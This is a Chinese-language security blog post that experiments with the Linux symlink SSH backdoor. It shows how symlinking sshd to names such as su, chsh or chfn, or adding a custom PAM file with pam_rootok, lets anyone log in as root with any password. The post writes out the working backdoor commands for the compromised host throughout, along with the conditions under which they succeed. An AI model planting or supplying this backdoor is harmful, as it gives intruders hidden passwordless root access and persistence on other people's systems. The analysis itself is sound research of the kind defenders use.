Linux软连接ssh后门之我见

0x00 前言

学习了Sevck发表Linux软连接后门的《一条命令引发的思考》,还是存在几个疑惑点,仔细探究之后就有了这篇文章

0x01简单回顾

一、Linux经典软连接后门命令
1.在被控制端执行:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345建立sshd的软连接
2.本地客户端执行:
ssh [email protected] -p 12345接着输入任意密码就可以root用户权限登陆了
实际测试中发现,如果root用户被禁止登陆时此方式不能直接登陆,但是可以利用其他存在的用户身份登陆,如:
ssh [email protected] -p 12345接着输入任意密码就可以ubuntu用户权限登陆了
二、后门原理
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆

0x02疑惑与探究

1.不建立链接直接启动/usr/sbin/sshd是否也能任意密码登陆
针对这个疑惑很容易验证,被控端执行命令

1
/usr/sbin/sshd -oport=12345

直接启动sshd
客户端ssh root:任意密码@x.x.x.x 12345登录失败
实践结果表明不能通过直接启动/usr/sbin/sshd,默认使用/etc/pam.d/sshd的pam配置文件,因而不能建立任意密码登录的后门
2.sshd是否允许PAM认证对后门是否有影响
修改/etc/ssh/sshd_config修改设置UsePAM no

设置UsePAM=no

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

客户端ssh root:任意密码@x.x.x.x 12345登录失败

sshd禁止pam登陆

实践结果表明禁止sshd使用PAM认证后,ssh登陆不调用PAM,严格验证用户密码,所以不能建立任意密码登录后门。
3.软连接的路径及文件名是否有限制
首先验证修改路径对后门功能是否有影响,修改软连接路径为/home/su
被控端执行

1
ln -sf /usr/sbin/sshd /home/su;/home/su -oport=12345

客户端ssh root:任意密码@x.x.x.x 12345仍然成功登陆

修改软连接/home/su

实践表明软连接的路径对后门的功能没有影响
其次修改软连接文件名对后门功能是否有影响,修改软连接为/tmp/pam_test
被控端执行

1
ln -sf /usr/sbin/sshd /tmp/pam_test;/tmp/pam_test -oport=12345

修改软连接为/tmp/pam_test
客户端ssh root:任意密码@x.x.x.x 12345认证失败
实践表明软连接的文件名会影响后门功能,而且在ssh开启pam认证的前提下,默认调用的pam配置文件按是软连接的文件名(pam_test)
4.此类ssh后门的核心是pam配置中的pam_rootok.so,是否只需包含这句话就可以实现后门功能,默认的配置文件中出来su,是否还有其他的可利用的配置文件
在被控端

1
2
3
echo "auth sufficient pam_rootok.so" >> /etc/pam.d/hacker
cat /etc/pam.d/hacker
ln -sf /usr/sbin/sshd /tmp/hacker;/tmp/hacker -oport=12345

客户端ssh root:任意密码@x.x.x.x 12345认证成功

pam_rootok.so
实践表明通过软连接文件名指定ssh的pam配置文件为hacker,只要文件中包含auth sufficient pam_rootok.so即可无密码登陆
最后在etc/pam.d/目录下查找包含pam_rootok.so配置的文件

1
find ./ |xargs grep "pam_rootok"

在笔者的测试环境下还有”chsh”、”chfn”包含pam_rootok.so
被控端执行:

1
2
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12346
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12347

客户端ssh root:任意密码@x.x.x.x 12346仍然认证成功
客户端ssh root:任意密码@x.x.x.x 12347仍然认证成功

其他可用后门软连接命名

0x03小结

  1. Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
  2. 如果被控主机不允许root登陆可用其他已存在用户登陆
  3. 通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
  4. 任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn